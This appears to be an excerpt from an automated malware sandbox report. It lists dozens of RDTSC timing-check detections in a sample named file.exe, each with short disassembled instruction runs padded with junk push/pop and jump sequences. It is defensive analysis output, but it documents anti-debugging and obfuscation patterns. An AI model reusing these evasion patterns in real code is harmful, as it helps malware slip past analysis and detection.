Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8510D7 second address: 8510F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007FE8B8D1B417h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8510F4 second address: 8510F9 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 858B15 second address: 858B1D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 858B1D second address: 858B23 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 858B23 second address: 858B27 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 858B27 second address: 858B32 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8696C9 second address: 8696D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 868209 second address: 86820D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86839E second address: 8683A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8683A2 second address: 8683E9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE8B9931195h 0x00000007 jnp 00007FE8B9931193h 0x0000000d pushad 0x0000000e popad 0x0000000f jmp 00007FE8B993118Bh 0x00000014 pop edx 0x00000015 pop eax 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007FE8B9931197h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8683E9 second address: 8683EF instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 88C349 second address: 88C366 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 jmp 00007FE8B9931198h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 88C366 second address: 88C3A0 instructions: 0x00000000 rdtsc 0x00000002 jns 00007FE8B8D1B420h 0x00000008 push esi 0x00000009 jmp 00007FE8B8D1B415h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 88E417 second address: 88E426 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FE8B993118Ah 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 88DF8A second address: 88DF90 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A84D2 second address: 8A84DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 jns 00007FE8B9931186h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A72E6 second address: 8A72F2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnc 00007FE8B8D1B406h 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A72F2 second address: 8A72F6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A72F6 second address: 8A72FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A742A second address: 8A7430 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A7430 second address: 8A7435 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A75B2 second address: 8A75CF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE8B9931197h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A75CF second address: 8A75DB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnp 00007FE8B8D1B406h 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A7717 second address: 8A771E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A7CF7 second address: 8A7D2F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jp 00007FE8B8D1B406h 0x0000000c popad 0x0000000d jmp 00007FE8B8D1B416h 0x00000012 pop edi 0x00000013 push eax 0x00000014 push edx 0x00000015 je 00007FE8B8D1B412h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A7D2F second address: 8A7D44 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE8B9931191h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A7E89 second address: 8A7E8F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A7E8F second address: 8A7E9E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jnc 00007FE8B9931186h 0x0000000d push ecx 0x0000000e pop ecx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A7E9E second address: 8A7EA2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A7EA2 second address: 8A7EA8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A7EA8 second address: 8A7EAE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A801D second address: 8A802B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 jno 00007FE8B9931186h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A802B second address: 8A803C instructions: 0x00000000 rdtsc 0x00000002 jng 00007FE8B8D1B406h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push ecx 0x0000000c pop ecx 0x0000000d pushad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A819E second address: 8A81B5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE8B993118Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A81B5 second address: 8A81BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8AC530 second address: 8AC534 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8AC7F1 second address: 8AC7F7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8AC8B2 second address: 8AC8B8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8AC8B8 second address: 8AC8BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8AC8BC second address: 8AC8C0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8ACB8F second address: 8ACBE8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 nop 0x00000006 push 00000000h 0x00000008 push ebp 0x00000009 call 00007FE8B8D1B408h 0x0000000e pop ebp 0x0000000f mov dword ptr [esp+04h], ebp 0x00000013 add dword ptr [esp+04h], 00000019h 0x0000001b inc ebp 0x0000001c push ebp 0x0000001d ret 0x0000001e pop ebp 0x0000001f ret 0x00000020 push dword ptr [ebp+122D3820h] 0x00000026 add edx, dword ptr [ebp+124C1230h] 0x0000002c mov dword ptr [ebp+122D3390h], ecx 0x00000032 call 00007FE8B8D1B409h 0x00000037 push eax 0x00000038 pushad 0x00000039 pushad 0x0000003a popad 0x0000003b pushad 0x0000003c popad 0x0000003d popad 0x0000003e pop eax 0x0000003f push eax 0x00000040 jc 00007FE8B8D1B412h 0x00000046 jp 00007FE8B8D1B40Ch 0x0000004c push eax 0x0000004d push edx 0x0000004e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8ACBE8 second address: 8ACC38 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov eax, dword ptr [esp+04h] 0x00000008 push eax 0x00000009 pushad 0x0000000a jmp 00007FE8B9931196h 0x0000000f jno 00007FE8B9931186h 0x00000015 popad 0x00000016 pop eax 0x00000017 mov eax, dword ptr [eax] 0x00000019 push eax 0x0000001a push edx 0x0000001b pushad 0x0000001c jmp 00007FE8B9931192h 0x00000021 jmp 00007FE8B9931190h 0x00000026 popad 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8ACC38 second address: 8ACC48 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push esi 0x00000004 pop esi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp+04h], eax 0x0000000c push edx 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8AE525 second address: 8AE532 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pop ebx 0x00000006 push ecx 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8AE532 second address: 8AE54C instructions: 0x00000000 rdtsc 0x00000002 jo 00007FE8B8D1B406h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jg 00007FE8B8D1B406h 0x00000014 jnp 00007FE8B8D1B406h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8AE54C second address: 8AE556 instructions: 0x00000000 rdtsc 0x00000002 jno 00007FE8B9931186h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B0089 second address: 8B008E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 516002B second address: 5160047 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE8B9931198h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5160047 second address: 516004B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 516004B second address: 516005A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 516005A second address: 5160060 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5160060 second address: 5160066 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5160066 second address: 5160074 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5160074 second address: 516008B instructions: 0x00000000 rdtsc 0x00000002 mov ch, FDh 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 call 00007FE8B993118Dh 0x0000000c pop ecx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 516008B second address: 51600B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 mov ebp, esp 0x00000008 jmp 00007FE8B8D1B40Dh 0x0000000d pop ebp 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007FE8B8D1B40Dh 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51600B0 second address: 51600C0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE8B993118Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5140DED second address: 5140DF1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5140DF1 second address: 5140E0A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE8B9931195h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5140E0A second address: 5140E75 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FE8B8D1B417h 0x00000009 sbb ch, FFFFFF8Eh 0x0000000c jmp 00007FE8B8D1B419h 0x00000011 popfd 0x00000012 mov dx, cx 0x00000015 popad 0x00000016 pop edx 0x00000017 pop eax 0x00000018 mov dword ptr [esp], ebp 0x0000001b pushad 0x0000001c call 00007FE8B8D1B418h 0x00000021 mov di, si 0x00000024 pop eax 0x00000025 mov ebx, 53665802h 0x0000002a popad 0x0000002b mov ebp, esp 0x0000002d push eax 0x0000002e push edx 0x0000002f pushad 0x00000030 push eax 0x00000031 push edx 0x00000032 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5140E75 second address: 5140E7C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5140E7C second address: 5140EB0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FE8B8D1B40Dh 0x00000009 add al, FFFFFFD6h 0x0000000c jmp 00007FE8B8D1B411h 0x00000011 popfd 0x00000012 mov ax, CB47h 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 pop ebp 0x0000001a push eax 0x0000001b push edx 0x0000001c push eax 0x0000001d push edx 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5140EB0 second address: 5140EB4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5140EB4 second address: 5140EC3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE8B8D1B40Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5140EC3 second address: 5140EC9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5140EC9 second address: 5140ECD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5140ECD second address: 5140ED1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 512010D second address: 512011F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE8B8D1B40Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 512011F second address: 5120158 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 jmp 00007FE8B9931197h 0x0000000e mov ebp, esp 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007FE8B9931195h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5120158 second address: 51201E4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE8B8D1B411h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push dword ptr [ebp+04h] 0x0000000c pushad 0x0000000d mov edi, ecx 0x0000000f pushfd 0x00000010 jmp 00007FE8B8D1B418h 0x00000015 jmp 00007FE8B8D1B415h 0x0000001a popfd 0x0000001b popad 0x0000001c push dword ptr [ebp+0Ch] 0x0000001f jmp 00007FE8B8D1B40Eh 0x00000024 push dword ptr [ebp+08h] 0x00000027 push eax 0x00000028 push edx 0x00000029 pushad 0x0000002a pushfd 0x0000002b jmp 00007FE8B8D1B40Dh 0x00000030 add ax, 3EE6h 0x00000035 jmp 00007FE8B8D1B411h 0x0000003a popfd 0x0000003b mov si, 4D17h 0x0000003f popad 0x00000040 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5120203 second address: 5120219 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE8B993118Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5120219 second address: 512021D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 512021D second address: 5120223 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5140B78 second address: 5140B7C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5140B7C second address: 5140B82 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5140B82 second address: 5140BC7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FE8B8D1B412h 0x00000008 pushfd 0x00000009 jmp 00007FE8B8D1B412h 0x0000000e sub esi, 5B404F48h 0x00000014 jmp 00007FE8B8D1B40Bh 0x00000019 popfd 0x0000001a popad 0x0000001b pop edx 0x0000001c pop eax 0x0000001d push eax 0x0000001e pushad 0x0000001f mov dl, E0h 0x00000021 push eax 0x00000022 push edx 0x00000023 mov cl, A5h 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5140BC7 second address: 5140C21 instructions: 0x00000000 rdtsc 0x00000002 mov edx, 305AB18Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a xchg eax, ebp 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e pushfd 0x0000000f jmp 00007FE8B993118Eh 0x00000014 or eax, 1A2434D8h 0x0000001a jmp 00007FE8B993118Bh 0x0000001f popfd 0x00000020 pushfd 0x00000021 jmp 00007FE8B9931198h 0x00000026 xor cx, FF38h 0x0000002b jmp 00007FE8B993118Bh 0x00000030 popfd 0x00000031 popad 0x00000032 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5140C21 second address: 5140C53 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov di, 2F5Ah 0x00000007 mov bh, E7h 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov ebp, esp 0x0000000e jmp 00007FE8B8D1B40Ah 0x00000013 pop ebp 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007FE8B8D1B417h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5140C53 second address: 5140C59 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5140C59 second address: 5140C5D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51406B4 second address: 51406BA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51406BA second address: 5140711 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE8B8D1B40Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f pushfd 0x00000010 jmp 00007FE8B8D1B40Bh 0x00000015 sub esi, 3130EE3Eh 0x0000001b jmp 00007FE8B8D1B419h 0x00000020 popfd 0x00000021 call 00007FE8B8D1B410h 0x00000026 pop ecx 0x00000027 popad 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5140711 second address: 5140777 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FE8B993118Eh 0x00000009 sub eax, 76395A68h 0x0000000f jmp 00007FE8B993118Bh 0x00000014 popfd 0x00000015 pushfd 0x00000016 jmp 00007FE8B9931198h 0x0000001b sub ch, FFFFFFC8h 0x0000001e jmp 00007FE8B993118Bh 0x00000023 popfd 0x00000024 popad 0x00000025 pop edx 0x00000026 pop eax 0x00000027 push eax 0x00000028 push eax 0x00000029 push edx 0x0000002a jmp 00007FE8B9931194h 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5140777 second address: 51407B1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE8B8D1B40Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b mov edx, esi 0x0000000d push eax 0x0000000e push edx 0x0000000f pushfd 0x00000010 jmp 00007FE8B8D1B40Eh 0x00000015 jmp 00007FE8B8D1B415h 0x0000001a popfd 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51407B1 second address: 51407EB instructions: 0x00000000 rdtsc 0x00000002 mov ch, B5h 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov ebp, esp 0x00000009 pushad 0x0000000a jmp 00007FE8B9931199h 0x0000000f pushad 0x00000010 jmp 00007FE8B993118Dh 0x00000015 popad 0x00000016 popad 0x00000017 pop ebp 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51407EB second address: 51407EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51407EF second address: 5140802 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE8B993118Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51405A4 second address: 51405AA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51405AA second address: 51405AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51405AE second address: 51405B2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51405B2 second address: 51405C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FE8B993118Bh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51405C8 second address: 51405E0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE8B8D1B414h 0x00000009 rdtsc
